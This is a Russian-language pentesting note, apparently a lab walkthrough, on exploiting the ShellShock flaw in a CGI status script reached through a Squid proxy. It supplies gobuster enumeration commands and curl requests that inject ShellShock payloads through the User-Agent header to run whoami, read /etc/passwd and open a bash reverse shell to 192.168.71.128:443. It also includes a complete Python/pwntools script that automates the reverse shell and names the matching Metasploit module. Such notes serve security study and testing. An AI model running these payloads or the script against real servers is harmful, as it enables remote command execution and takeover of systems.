> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md).

# Статус ShellShock

С помощью инструмента **GoBuster**, мы ищем пути в системе

```shell
gobuster dir -u http://192.168.71.131/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash

```

В этом случае я нахожу путь **/cgi-bin/**, который может быть уязвим для атаки ShellShock:

<figure><img src="/files/30e363434f23d201013d45b22a8e98ccaf35201a" alt=""><figcaption></figcaption></figure>

Теперь, в этом же пути, мы ищем файлы с расширениями **sh, pl cgi**, и т. д.

```shell
gobuster dir -u http://192.168.71.131/cgi-bin/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x pl,sh,cgi

```

<figure><img src="/files/1ddd297c90d33e67db87a8d0b1ef1b5ffe9e1d1a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/30a168c89fcae656ecc7e21073901c6ffb7b2ded" alt=""><figcaption></figcaption></figure>

## ShellShock:

С помощью curl, если мы отправляем запрос, мы видим, что это **та же команда, что и uptime**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128

```

<figure><img src="/files/c235319e8e9865c0d5dee153d1b5fd44df888bd3" alt=""><figcaption></figcaption></figure>

С помощью curl используем **ShellShock** уязвимость для выполнения команд. Всегда указывайте **абсолютный путь**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

<figure><img src="/files/00c25c286948460f56abc4db401565172d652fb9" alt=""><figcaption></figcaption></figure>

Чтобы **получить доступ** к машине, мы выполняем следующую команду:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"

```

<figure><img src="/files/3dccb408bf7a28e74b72e08f05afafc173ed9078" alt=""><figcaption></figcaption></figure>

## Автоматизированный Python-скрипт:

```python
#!/usr/bin/python3
import sys, signal, requests, threading
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
# Статус ShellShock
signal.signal(signal.SIGINT, def_handler)
main_url = "http://127.0.0.1/cgi-bin/status"
squid_proxy = {'http': 'http://192.168.71.131:3128'}
lport = 443
def shellshock_attack():
    headers = {'User-Agent': "() {:; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"}
    r = requests.get(main_url, headers=headers, proxies=squid_proxy)
if __name__ == '__main__':
    try:
        threading.Thread(target=shellshock_attack).start()
    except Exceptiwe as e:
        log.error(str(e))
    shell = listen(lport, timeout=20).wait_for_login()
    if shell.sock is None:
        log.failure("Не удалось установить вход")
        sys.exit(1)
    else:
        shell.interactive()

```

<figure><img src="/files/5829d14f5a6cfe15243032b6d815a16ab9b4cf9a" alt=""><figcaption></figcaption></figure>

## Эксплуатация с помощью Burp Suite

В Burp Suite мы можем внедрить полезную нагрузку ShellShock в заголовок **User-Agent** чтобы попытаться выполнить команды на целевом сервере:

```bash
User-Agent: () {:; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

```

Если уязвимость присутствует, сервер отправляет содержимое файла `/etc/passwd`, при условии, что выполнение команды возможно.

## Эксплуатация с Metasploit

Metasploit предоставляет отдельный эксплойт для этой уязвимости: загрузите модуль ShellShock:

```bash
use exploit/multi/http/apache_mod_cgi_bash_env_exec

```

Если эксплойт сработает, на целевой машине будет получен shell.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
